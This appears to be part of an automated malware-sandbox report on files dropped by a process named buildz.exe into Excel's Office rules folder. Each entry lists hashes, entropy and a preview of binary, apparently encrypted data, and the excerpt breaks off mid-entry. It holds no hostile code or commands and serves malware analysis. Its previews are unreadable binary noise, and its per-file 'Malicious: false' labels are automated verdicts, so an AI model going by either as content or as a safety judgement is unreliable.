.St+.H..F..c...[..'.l.&=...5...kTF.B.T.....T.y...D(....,.@C9j.r..'.n.9.L..8J.........EG8...{.'Du.Zy<.....[...[h.....0....O}.6."...."w"....8..v).6l......].....yw...t........*..o...,O...m...H....7...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule880000v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1399
Entropy (8bit):	7.866887323482109
Encrypted:	false
SSDEEP:	24:+SvL+BOp9kmTNkJZc+T7fkS6YGGJ9dt4L1lk9F/iBDgBq32qnd/lEFSBvECbD:PrpFGTc0GGJ9dYlk3iBWq32qb1EQD
MD5:	37BAB2FCEB7951D141E8C561123AFE5C
SHA1:	1234126B75F8488A6218A1FDAD15D33C829B5AEA
SHA-256:	ADDC8692D981114B347A14A8369083DF2599EC56F1583D698582DF6A46A991C3
SHA-512:	9EF74910A833F1D6D4A98D8D2F2DB1490ABED04EE345167D5AC9AD287DE097BFC71DC9266553AFE8B534C78B637D225EA68502EE1008899DB577C9058FE9CDCD
Malicious:	false
Reputation:	unknown
Preview:	<?xmld..$O.0...k.x.7.....:.yi,.O...2O.VI.N....[C....}..../.J.=/-....=.....].....P...DB..^.W"...t...r..\|.q..X..D.....N#.......=.n....>G.e...5.d_.]..WmK[w.(..T.E...q1...v.K.VO$C...l.y.6...?.Vl.EO...........W;...2...?w......X..%9..&....K..._....\|.0.0../o8..(8.D.]...6{G....Y....?.).m..fZ.O....J.....L......\|...8A...b..u.F.... 5..K...^..n."..,9.....#~,...6&..t..U......SC.YT.....s.0......#.L.q....g.z..........+..w]...?.......2.[i.......Z.......9....gG..=.B3J.9!.<.........=..)f........g....c`.>...}T..e.@@+]mnf.....l...".y.4........:.U...\|.Cb.7\|..2...T.0.x.k......H..X[....BA...f.w].4.W........ti.=.r...i\|k..FQ..,.d?......4......._)...{_-.`L.B..".J..:....J=.Ups..Z...u..O.......".Yl...'..C.T..$.V....SWoQ.`....^..Mp..y..)@.5.muX;.ga.A.0.....4.....U..H.hc..E.).?."....\..U8?(......&.....:}...x..R...D....K.O_...._.c.sg..Vp#\|../.B7.T...o.1.".......\.......X\|.......JW..?......^..p%.jQ..n".....7..f...'.[.q........B....i...(...!c.8.o...>o7OL.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule880001v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.865410719036428
Encrypted:	false
SSDEEP:	24:oDLrvnSbgxeXWDAqTcxFQzNlrlcfdOyZsCFH4QNZFTADCQbhnrKeJ0dU5ToD9ZXt:oDHvogxTAcczQzDMczC94KgTAdU50Db9
MD5:	94F606264315FD04AA469A93144F1F2E
SHA1:	D92482F8848CAE7E7AE1544BDA9E06E52BD016B7
SHA-256:	F9D80156312071E935961B680840087DD32DB40058CC2B41704F35D1C67C7CBD
SHA-512:	6F95C207F43ED2281D379A4F72223B971F731ACB3E11B3FD9224D029D7052220B11E00C70117E39ED86C75E24B54C2BC3584A556ABFD88521E64AB6353D8B254
Malicious:	false
Reputation:	unknown
Preview:	<?xml...j........H...G.o~{s...M.<..#.)....S...Mu.s......E.....2..0}_FMK.@...Y..^#.`kj...v&.}..}...P..3=.h.0\...u.B..1.8..r..-3[..A.9.i/V>..JL...~.u.......mG.......mX,.!...."...i.UH..G+:].z...DT.....!.D....h....h.^D.:'...}$.....#...c.W3..(M....2].>[...2Ox....@..\..V..T"..:.'.i..u..%'...M......H.>.x(....c.B.4....~..o....M.@.:.1..s"..oCr........n....4>4.dL[.?.......=~f!Q.s...D..-.zW._....,.......J.Q.0..+101.!.W.;e.t....o..=.....# ......0..8...9.....0u..k..\|U..T?b(....U...@..A.NCp..7Yz&..Ww..{.c.< \.M.....8.....h...dI......o.6.r....\|D^.o.o`.]... ..%.....H..!.,...P.z.\|...Y...X....~X$S....,..rd.K..\.EY..CD..R...{......>@..f....`.....)...X.Q....;.ID.T....#..q!F..a..u.........{)Y.".q...Ts...T...Z..".0.....-,...uI.+..w....:./........[.u.T.......C.{..9.x..j........e.c..I.~A.K..M.2.W.^:...!.v.......@..:.....Z..=..a.=N-...2........:...D..p...6t.\x..j..Vy...J......i{.>...]IR7B#dBkU.(.Q..\ ...B.W.)ic.R.<....o....VU../.F..T..."...*..{\1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule880018v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	877
Entropy (8bit):	7.761749552930542
Encrypted:	false
SSDEEP:	24:+ITSiDJ/AVvAiUag/G4gRJq7HrNe82Z0bD:7zDJ/kRlg/Pgvq7LA8FD
MD5:	C02E5A679C07FE285865E8E304733F58
SHA1:	2612DDFC1C6C351F16BCAE2FD856CF2BDEF5A307
SHA-256:	9069A1DA9144AED23020B3D0B99619F58137F1D7C6E1A2C2B397829C35973C1E
SHA-512:	111F629637EFCC153458BACEBEA39F19A64EF64AA66710F3C928FAE66BE3362E4582AACF1FA251F45480D6C8A23559AC7E98E88EB020ECAC705BCB115909F745
Malicious:	false
Reputation:	unknown
Preview:	<?xmlt.o.....1.s.biks`.....)b?.=....B..........9.....1.N..\|z...W..{G.w_..~.........D9.?S&.R.M..J.[..5..)....U.k.r&>....;.......CO...DY~D..z.[............&.BU.$... .9F2..#...].............a...R......~.{[=h.......A3..\..[.C.;x.9....Z..2.* m.ev .`I.#.o."w...q.?.Q:....\|........^\.......C.s.G\|apEQ..&...eY=Qh..q.H....K.../w...E.dcN..+......H.x....Gh."-.#$.T~...$l.n....(..t.....9..W...W...ZY.kS...{(.J..IB..6n.....\|m..H..zoJ..6.k.TQ...P$.?d.O.tA...r...1[.u<>@..O".....m.0..OI;r.....0..l.....=bN....F...F.2...p...l..m.2......M.-.[..lk..$.y.KG..u.O.$...c...........a...t#fd.,..=.u.&.y.....u93.5G.0........_5.....>.....5...)g.?....".6.I..:.M.b...t.Q.(..q.C3....vY(......,.w....K..Z.J~#.u.Re.%..,.......b}.5.ct.kr.JJO@...x.Z,x]g?.."......OK.....V.9..i.x07.....?....Z...8.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule880019v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	876
Entropy (8bit):	7.760855403681859
Encrypted:	false
SSDEEP:	24:XWjvpwVdPr1XFNwpFuU/hm2iXzEYiYm3nRV/2MA1obD:XQerqpcU/k2iXzEYMXR12MuyD
MD5:	3C18B92B96DEB5865409A8F8B16FC729
SHA1:	C697FBA734D4B004E7DF3E3EFC72994763249E78
SHA-256:	09D401D901E4FDD67A5F17B315271EC7EA716F2FB466838DAF8908CD489147EA
SHA-512:	649BEE3B9B286E8F6B5202E715F7B7E107F135EA2445030AA1B7C3B96FCE479A494AC3EFE921A6E28C55B4E28F8BDD9BDBC8FE7F5DC6666E2D6A3974BCFA5CC2
Malicious:	false
Reputation:	unknown
Preview:	<?xmlR..~....34w..n......e....J0.o-..6/...../Zt.d-.NK....{..@i..L...z.R.."\LftkQ.^.7.`..".m.V.lhr}s..MN..E,.Hz...z..eR....kl.k.%.s].r...i.....6..\|h...$_n.7...../.....+t ..!8..=]W....5.N.I....@.^1..4...[.uX]{T&....1\|;71."...~....z..y...!>...b.....V....Q..(...u4,e.".e.....D_5^.3a9..R._......K.XZ....L.E.....v..;4>.@G..'.!.Nu.....F)..^Fd....f"....:.7.xY.s........7....zM7..n."`.D....5......Q..%.{.w._..EF..}..:.w\|....a2...`.m}.\|).v:c...&.[gBqZ.s.;~T$....!c....u......R4.ZM.....%c$..M.....rq.85..=..........'....wt>...</....E..$..._I\.H..p...Cu.,...:.\|]...9RU?..4..S....k..y....].3..V^1..'B.2?A.N..97.........l;.%...T7.+ZJ..R....'..$......KnVD...-.M..{.Wn.....=..e.j\W..A^Dw.aK`...n.....d.5..4.m.......Hwc....;...&..Tfp9(3v..7}.!.......3.yi..Cq....w)SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule880023v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	7.808269988268344
Encrypted:	false
SSDEEP:	12:kTvwZFP2awHzKl1eR7DjIARfl8sYJ/T2n+AUShvll2nKz6Wp0uVNapvrNYSELrnm:kTvwZFbbQllqr2n/2uVVwBrNYwbD
MD5:	E8A7F57E3018BD9C8C91BDEABE45C351
SHA1:	FEAD96ED2FDF94C13581F5FFA57BF40F0B2BE7B3
SHA-256:	0C42006E760F2AC80AB512ABD5C53390F2797EC8771CB579374C8E770C353FD4
SHA-512:	4F1A798F2A58BA44B030350022DB813ABADC17BC1E9158CB78DACBDF78B596CAE99EA9F15B367040CC264BB6F1AEAF64848E4C25BF9F54D5E275BFD29D7A798E
Malicious:	false
Reputation:	unknown
Preview:	<?xmlxn.....}.\|...).....&...e[A3.W...J...8....[.Q+.A.x..I...2.U.).......r.1S......."..f.f.W;OYO..... ...)...P.gW...X.[.....+....&.>3/.b....._..<..e........t,....z{z<.v...4....h..aUW{J\a.......cu....U.....=.5.y..O$u..JJ.....au:...Eww...2q?)A9Q#F,G...R..D...U...f{..De59.."..hy...E.......I...K..G.9.P....g.`2Y..%g.x.I..Ld+Q...x......y.N{h..Z....C.{...l.b../4....p..j.....+.._....{.i.(..D.F./......D.87.~8....&_.2}..}...z6VB'.2......y3G...[.......n..-\..b.....As,..B../z.>A.....3.d..sw.....d......p......Y...+R..`...5E.qW...).'2.3M{:.....`{.T./o&k..V...G..q.b.....7...oh.]..o.....d.y:...R.u.....~W...;`..u.....e....\|h\W..........a.I....}A..!-..\~Z....m/mMA...o.^....5#2~v......s.a..... ....i...j.=.d...d.j.@..w....~u9i..f.Zt.........n...L.."...'l.......!...x...%..E..K...J..u....Sv..X.e.l/....../Ag.[..X....t..k..#.x.W...R..w.dBbSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule880024v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	971
Entropy (8bit):	7.76034696615498
Encrypted:	false
SSDEEP:	12:/aQ5mTMgf2rpLV9fKoSRIGBXnRCGq6MBjcLEK1vfq3vuCTjXdsBFZos1+cii9a:yAmTJf2lp9fjSRXnC+LEK1vQWgCFunbD
MD5:	223F74F38BDA3C8893EF5519634D3F6A
SHA1:	954E3F231F9B32D5842EF4E5E87C70BDDDBA0A16
SHA-256:	DD3298CF3A97E8048058741A7F106839EA8A419D8B2BA24CD3636A50B4E61F8E
SHA-512:	16F6D91D5233C6E879BABC39F8D97986261BC8158D1DB782192204A78912B40E0BCC0219CD7A033D273A6CBA8DEE429C2346C2B75D3AFAB85E4125D3FC4BD448
Malicious:	false
Reputation:	unknown
Preview:	<?xml.l@^.EDm...J.T8._.}..(.d....rV7I...[>F.O6M.....%.\|...."......B...{T].%4V...v-...?....9l.j.....>.C.#O.'..+3..s...."...j.]+........a.....P6J#.Z..gbS.....bz....i ..`...(.D8.Z..A.Rv.!..C[...w..x...M...0y..3m..>.... ..8..4xo.x....W........J..P'...... ..,.....%..0L.!.%J..og....v7..1..dH .m.h.}.....r./..<X.Y.E....Yt....6,..P^..p...-.bT.wb.g...T...}u.a......m`.GcI..N,......:. ...gC.5c..N\|......R..U.X..!.b.eh].I"..(....h.rKgJ,..iKf.....>.O.7....Lw1TE........Dj...j....R5...C...A..h.4.6.+o.......D.....> o.........z..~.)'..0qL'm.g...-M.G.d..'q.B.-`.M.".r.....r1"....M:.2...;..x\-&Az.6oV.^P......}{-..}.s...;5..\.T......beq,KL..4.oL_u...P.W.......::.9'....fy.IG.......I..g..!.R.2..D....~.....i..u<..[..k5MG..e.......kS...s..t.....=...u.\|...:MJ.0 O.uo.].'..D2Qk..n@...s.Bg.N...4."s.....>D.3r....,....r....6.uwb[.p.#..\..Tq......a. "..9{..?...W....j..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule890000v2.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1189
Entropy (8bit):	7.822205747303031
Encrypted:	false
SSDEEP:	24:vX8UYEQU97GQ+WwmqxmYTLUeQOoMMgD0sTWoC2Gj1ib5D2ObD:vsoF3/QIeJowTx2sD
MD5:	3AD2BAC8AC772EB99E8705332C75A380
SHA1:	B719343F8423890C2A6D2E6697824E2263E7DF00
SHA-256:	C8946EC452C80366251993C381907DF441560A581D4308F2788DB6A091B5D666
SHA-512:	09A0FA8C020670A349F62FD139050E4FD9164142C5321548306F0101A5D84BDB5D42F52D7363633CA3371A2605D22C25D9C8FCB60398BE46C8795161C62E6439
Malicious:	false
Reputation:	unknown
Preview:	<?xml.....uv]....~'~.K..\|... .9...A.7-.q.8n....>.9.......\.8...~..g......yr..#-x.=.i.e......)%@.....h....0....S...\|#.E....W.....[.GI.... .C....@... ..Q..~...w.$.H%c..n!?....#...%...............fz..N..:..`... .91..(.)Gq..V....q. {W...G.h ....N..\|...bc.(..G.q....&,...9..B.F.BM........{..Z.......w....7...\;..~.qT9.'....C.......HW...k.v..%...L..$.]..~.&.~5A...#...?.X n9..%....h.Q..^....iWU~..].K..QY.n...+........(. {....N.s......JQ.R..A.H.MS......uf.....$9c.>0.C..1...x.?..r...=Kr.#..a9"....0 ....EG.,ZT.vF.$`d6[.0....#...0.......\./t.^y....^.R>....j..BnK..O .U.;...jI...U...5.5m!L.....u.u.!..s{.}......hf...3.....8i...hV.......8..g+....2.u."P.........m.....L_.....q.2w.....)I...Gm....#... :}.....5/.....S...D..S.Q.!...zi+ph~.GO.{..E94Xv.......9*l..o.R.FJ..w.7...k.."G.t.u....jy.,.A<s.^aZ..C$.H..r4...<.n..-.P9......\|.\X}..6<F%.kq....P.w.HV7..j6x}9.....c._[.....k7...R.%1Y.}+v....G..6.... Yh...!x...k......I....4...I..Dr....NsS......!.....G_V(mS.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule890002v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1325
Entropy (8bit):	7.85322049409382
Encrypted:	false
SSDEEP:	24:LzPVqaOZvUNCIxhlWjnsW+Tm0h/9vA+MhDYyK4X876MpggU0tMcHbD:fNqaONIxDcsW+TLJcDYyK4seMmu7D
MD5:	E397BD1D5441D39981EE3E4ABC3AAFB9
SHA1:	920DAA4BD299B8DEA188A0E30AE46F22E511BDFB
SHA-256:	2140B9828A69F0DDD551D1E231972B4398A4CD86E03C9AA65E1B56D33EA1A63D
SHA-512:	F6C302063940140F7638EEE63305DCF326090419388A232012EB44866DE13C60E12D1780DF52C0312C48F9BCEA59821A84D8E9EEE464915A52945E9A9C319690
Malicious:	false
Reputation:	unknown
Preview:	<?xml........{.j).f..[ ...KF.."......c..g...H.....v..E-.i\.4.h...4.<Lv.ke.$>.Q0...)..."...).............'.oJ]n.[u/U.x..&5o.K.Co'...4m...".s......N..p.y..H.gp.q.;....B.....wo....N{.f..A.H..8.`..8.i>._.E..,..l...G....'.b.....j..O..4<KT..'%.+b'_...[...G.i..{eg.;...B^k.....8.....PL.d.qu...\...(.P'..t].......-....l.C..cbyF.F..%....d yV.J0!0.. ..\|.nf..N3.....=..E.@.P...F.1.^.S...s~..89\|.Y!...$l..A.U......m...r.d$c...r&[.\....e...s...O#.......L.7..p.<....-...#\..bi....&(...j..L+.F.H..x%.`-.!P.#0.C.o.?G......s...u.9a.R+.r6.J(.w`s?....J..;!....LQ..<.......z.t....1..M..5......N....."Y.w.G...A...U\|L."!......m>.4.....K.R.....S...bY.E.4...8..bg.....~>.r..i.....h....@."..n..D6...xP.ww...........3U..K..nmP..S.[.bW.kr=..........>..X.S..}.U.)ad....>.6.\.y..<D..,..3.m.id...fZ...2B.CSa..J..+...D9.. =.lh....M........8...?;%..d....n.i1<cR......*o......v=.......n....=.u..x$_.....s..ro\|...#\..R.r.A..^.:.1f..,.L.4%\|.......V..!../8Pm..X...fV......c0C....>...&.a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule890003v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1605
Entropy (8bit):	7.879725051980363
Encrypted:	false
SSDEEP:	48:bcfsZFBGnbHMBoNdh27FwuYStahmvWBIZsu5D:bSbH8gh27FwMKKWBTux
MD5:	0B1737883545AD8CE92B941E93A11D74
SHA1:	F860C5E4AAB3B44AE461F486F4FD78F28A35F3F3
SHA-256:	5F8F433633D918A75A7A582D9CD1C02C33D04BF970577B799DD84DB437D76FE0
SHA-512:	35BFD07B1CB6D764E55E80909803B674A0DD21B1CA5F8E3E1615E955A7595B4013C05F92F08F8372F1B8EF263B52BBEA7800BE151429EDAC726799E44369E83D
Malicious:	false
Reputation:	unknown
Preview:	<?xml@-.n.$.G..J.0 g.g.......hd..i.I.n...w;..b.n.]...M..v...~[.R.Ea:...Pv.Jb.....b...2.X..8g).3QyJ..0.f....}.N.K..."y._.)i..j....F...]..10S.xz~....D(..:.x.q.#7....q..kd.'. .=#N....)..cx.a..`...Id.z..x.Ks..Nx..^h.?.....O.o/9.n......i..$....=Nq.5u..G.eS...APG=...4.....:.....ka...8....v...pp...@..w...."S..F....aI......2,......uP.}(..)..n..g `A.:.,....n.._./-.wP.]n............8.x....8e..3.J...P+........Ejo.....(.<.X..%.6f.5.Ge.g=..B.......Uc........./.....@..u..l.....C......+ .......Z..T.d...q.h@...=.T.$9../...b...1..2..J...[...K....=..E(.. .:.$2...V`>...U.\j$6<..kN..E h.m..>%...mGv.~_.\|.N{.1#iL#RV.......>.2Ui..o\|..Q.%..:\|.h.{.&....k.....%.w...z.....}.. .....G@...!.l...X......(...k...Z.I.Q!._}='.]....*.b{..5o..sU$o.`J.d .M..[..>..:?.\|.{.z^:g.-^..`d.o..B6T.. .;m.xv....2.....J.....>.....t..x_Cy+...t.,......>}......z..5b.2.g....\.a.....(....v!...{.b..U.@....q..W..XTv).t...w..p.!.G0./J..M.u.&.@...5......E..\.I.,.......ZNg.\|.%&i.........V..8_t}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule890004v0.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	729
Entropy (8bit):	7.735369136762335
Encrypted:	false
SSDEEP:	12:Nxop6VJQ+P7LaCQeiQTYvnIcgpNOx/MsTdhf9oKr9ox6nRWfq9X4M1+cii9a:NxowJXjLKHQ8AU/MsTdhf9oKr9q6nRWd
MD5:	B3D4DCF90AF62CCAADF2C345977BC20E
SHA1:	6372FD3D4DB7AE7D42DDF0209B852C7CA0083FD1
SHA-256:	233ECB89F6CD7A553200A1D2E93AF3195DC8E2A29DC1477D8C3965F3B083F97B
SHA-512:	04423331EAC3094D07E876A42E88C5C2DDC3EE84136FB11E5070A98569968211A959E2879872F44877779A33E82B993E223AD70F6F45A55256D35356DC46AC62
Malicious:	false
Reputation:	unknown
Preview:	<?xml.=..B@..qX.-x....,...3...p.....@......+.x.....l4z...\oP`.J..i8....>w..C.0W.#7..y...H."....A.`!&.m5Tf.......k.< .<A.pv.............a4...@.U`"....r....}..>.~L.....V.\EiB.E.!...n:.Rs...i....H\..+..."O.....R..q.kha....5^K........Na.#.....Y..wf.MN,...&..@.&P=...`.I.F.S]..?.C.....m.:.p../J.(.?$....)...Ek.u.ll..{..._....I..I.gW.P..A............0r...d.".]3...j.L..,^>...Sqx........<.3..#.[..bOqw...............D...+.C..$w..D.........<...,W...K.xm\|...LR.^1..d?`................8D..1..~M.v&*p3S.lW...}.\|.)y...:.Zs....`..h.:..2...V.\vt.<fUG...e..t_.r..V......b..b.!/8..^.-X...b...p...@..%.w..S.![..i..'...c...A8P....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule90117v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	947
Entropy (8bit):	7.770820407845103
Encrypted:	false
SSDEEP:	24:+IQ+ocvkUWrtwHur7snVOUB/vJSAeWOLs9qRE8HbD:+IQxsk4uvgkm/Iiko87D
MD5:	BF588ABD02AF2D791BDF5B5D734A1BD0
SHA1:	87448032DF03AC5A183813E92CE6A60BD7670609
SHA-256:	C07C0781993F9750DE2F0656BB75801D643A18AAD42DD35EDC0182E7A7E8F616
SHA-512:	294CF290245767D85030A0DEEB78F83DE04EA47BDCF537FBBEAA2DEA01EB98BEF39A54390FDADE937635AEE62CAD8D7DBB748C8C7843A3B90942831D94874C45
Malicious:	false
Reputation:	unknown
Preview:	<?xml.Xg*.c..'..VZ...b.H..'4.........=.8...QY...r.........ei1..u.[y....W..X"...DC{_..:.5...3fx9...bq...t.e.m...%z...VG.w.(.........S.e+~Y.8.j~G..9...GMl;!...'.NsZ.P......w_..m.....<P..zlu...'.\@..O......MA...S.>.w2.7&G~@...b.9QD...8..m.....0X>........q.r....?.]....<E.Ro....Z...[-......v9..s._n...[..RO;\|.$...P.VI.........zu8@.....M....."...!....T3.u.~2.JT.8..p..ulY.'..H...-..O.....S..........=zeB..T.......w....@...y..!...b......8..6.o.......].g...M ...A.t8..U...(M(d.4_.!s.x+.....W...:..S..4..2pJ.F..B9.V.K=.'.+......&..As.l.G...]f.R.}[...[.$.8.CB(....+.l.....c...m.q....9..I.."..S.kiWB......P..1...T.C">...............')+..^.G...E.}%."..V.q..a.K..+M1.xh@..{...C.u-..#L.......#...w..[........^;,.W...+.y5...]..?.5G.,..n...`uI.7I../g#....r.u..x..5f..D#.....V.M..5....w.L. .X[..2.4.&......<.B.^....5dg....Qu.K...h.....Wf.tF.$S...>R.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule90118v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	932
Entropy (8bit):	7.762104784616835
Encrypted:	false
SSDEEP:	12:ryWMu74BT80PpNS1klaHWG5HIUtDM7U5Jetg8qua3vWyyZ9XsgU06tk+HI1+ciik:O04Rg1klaVqQfJetgzZy3h8tjDbD
MD5:	FBB1F6FBFE16E9A6BC27E9EE2B64A5BA
SHA1:	A314857E03023A157AE8009D333E470D7867ACA3
SHA-256:	0DC7E4F47FA2CD4AC8E83C3A9ABD6F28C49FFD5A8DF55BA0675B5947B78F7D56
SHA-512:	A4CE08D1D38D9066BB4420926609D0FE416A305D466E4AC22A312DAC0C5AD6C579D50AB94851AFE10522D4FCC428CAA6D882524C4DB1A0FD19D91D3C97832E92
Malicious:	false
Reputation:	unknown
Preview:	<?xmlgLj...=......ss....._O;...S.G...Q.]d..<?(...b.. ..`.....9.............r.@.vT.2.].JD.......@....k1.^O.;..a.......B....t.L.u..4...I..y/`.J....."p...>.".D-KR..S...f..V...Q.q....M.&..u....n}.-........($p..N.;..Bw.\.n...u.O.0..P..........GH.`..).9ZyD_...H.{YH..'T....7.nV...^-.J...+`......fZ.e...')..w5!....0.>.j...". .t6.4...!....$;>U..cY`._v.U.V.S4.J.!....hm.H.../a.x...M?. ....LQ..~,..~.?...G_..e.l.R..Hc..............#..a..3.c}..T...3.!}.VHhgb..`<.IM.....,f..7..g..".#./..i..x.K"]F,.jT....m........T..Vv...../..2.u.j+o.G3A6...p..H?.....m....fo.(.E.Md5..XpB.K.....C.q.f.....SB..j]9....h..).J..$...G.Sl...{..x3.....k..bu....H...d.6.d.jS^j>....n..W\|....sd7.s$'V..7.E.R..../.c.A. ~..kj..A*eI......P..R.T.^f7.?..D....<U..p...]..T...%...>......&Y:.T._..(.(....H....... .DH...%.....^8.....t.J;....c..$..qq..{..a.[.#.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule90119v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	956
Entropy (8bit):	7.7952359082331215
Encrypted:	false
SSDEEP:	24:KbiH6d/dtdINMCrXCzT+9tVRBva+FmeMNpLYbfYpEo61jbD:St6SCrCuRPMNBY2EoG3D
MD5:	31BBEA33CD0B52CC40FA466116064A81
SHA1:	1857DFC68D3E021130E6D58E09E4DFA75AD537EE
SHA-256:	F68CC8C02C535E43180A2BFEFADCBFFDC6E1289C399C681B2A03CE9BB584B2C8
SHA-512:	353015F8D52837C2467FC69E1E8218F12D64406C1A52371F6831DB88465CB93A2131D121BA0D68440DB477AF2E6CEEA09E9C8D48588ABF23D5B11F98ABAAF94E
Malicious:	false
Reputation:	unknown
Preview:	<?xml.a%\......s.Y..C>b.....[$.[!aRB......R..7..J1.P..~.B.%.RY.."..S1.Zfh..Xn....\|=.t....;.Y.M..<`...........t..1{.....?....@t..8").c...K...5D........q.z..p..\~...).b...X]...3xl\..ho!.M..?..cg.&K7...u.U.1\|N..$.{.A..V-.5h..............,_I?1.m...#...2.R.....H...,...Y..n..y...&\.D..Po.l.1r.w..P.pQ..dA.b.u.%..c..r..cH.$.lt.....Q....~....J.%9....4..$.^.3.3.N.....;h....v.r.....rl}..a.U..cO.."XyC.)....A=.<?E.G\|.v.....t....7.`F.B.`m...>..4x.../..E..9.r.8..%..r<.c.....'iP.e..H............%......E....=.:_...C-.......L..3.....V..>T`.{..#..5. ...9...E.^..\r.H...Ff.....u..s....L.....<xb.......?R.B.......6'.xq.S.@+....dX..I.{.x.......Q.e.E.........P.......b.......;=......._..s.;...FMK\|.z.... .V..3....4dX....r.n.,..P...K...U.>.>..V.....C.=.SC.<../..O..f.,r...L/2....'...\|{F~..#.O.....P<.._]...O..B.if...+...l..(4.W.>.......V..T..p..B.#....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule90120v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	955
Entropy (8bit):	7.737085496289771
Encrypted:	false
SSDEEP:	24:2bvhdZvD5sw2JHhf/iUgYDVs0G0pRhID5Fdf/Ux47rYsrebD:whdZvDt2hd/hxhlfID5FdG47UsoD
MD5:	B153484522DCF8CE453599E8DCAB836D
SHA1:	86DC136F61088C12740A37572F96599978A10AAB
SHA-256:	0163691CBD5442833681C61F9AF6AB248A3C3CF9A394C3CD67EE730915115ADF
SHA-512:	7465C716F97073BD7C21B84F011C9B5FF561EB02618894362B6DB10FA875627BF2FB0B1D1E53228E386ECBFFCDB5165C36AE6E45B05BC0CC3CE7DB8504D7E654
Malicious:	false
Reputation:	unknown
Preview:	<?xml{m:.U.u."c..U4...[.U.[.DB.a..s. 9...;....z{.}.;.Fy..)....O>l.=%./.....}..R...\|.g..".%.....JmC........U.lE`b..R.o..m.&h^..t.Yy.f4.......N.B....ox..G.J..Q...D$..........+.z.#...W84.}..=...-:.:Y....j..4Op....h.L......n.C..T.Y !{b.#KW..H...0...[...:...N.......S+..:.. #..Hzc.t-k..O...B#H..89.....mr.i....g..@]+.nu.>.(....F..u..7...I..y.$=.=.......N{.....y.W...wC;7..Wa>m...^jR....L.+...)...<\|0_n...1hQ%.;..2..s.i...AH.G8.iY....9..'v<C.....i..xl.......X..o.. oJ...Y..<t...,.;..$O....V..Yq.c..K.+.^R......)..J(....)q......y.Tn.........L..A.....W.]].j.....;...2...."-m...T..b..V5.."8..l...#..&2.c..F...?........\|$....t.......G..y..DC.#...{5..A....8!.8.L.......H.....y.....#M...$....7.j^.gY.J.....q.T....l6.(Ti9.14.#....i.W..C......T.5L;.'...#.=...IF....l..M#.(.M^]....T..&}....u.Y...*}{..-.+.6..I.....@N%..i..al.4A..CB........SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule90200v4.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	948
Entropy (8bit):	7.774711552578627
Encrypted:	false
SSDEEP:	24:ynny8Hvyc+zeONHLsz7O6wzQpLrFyxtA2NM/mbD:yny8aTz7HqO6wknFyJD
MD5:	B97406C2F87A681A350FB964971B730B
SHA1:	6C88C6A147CFB275315550B0090CE8756ECF5A23
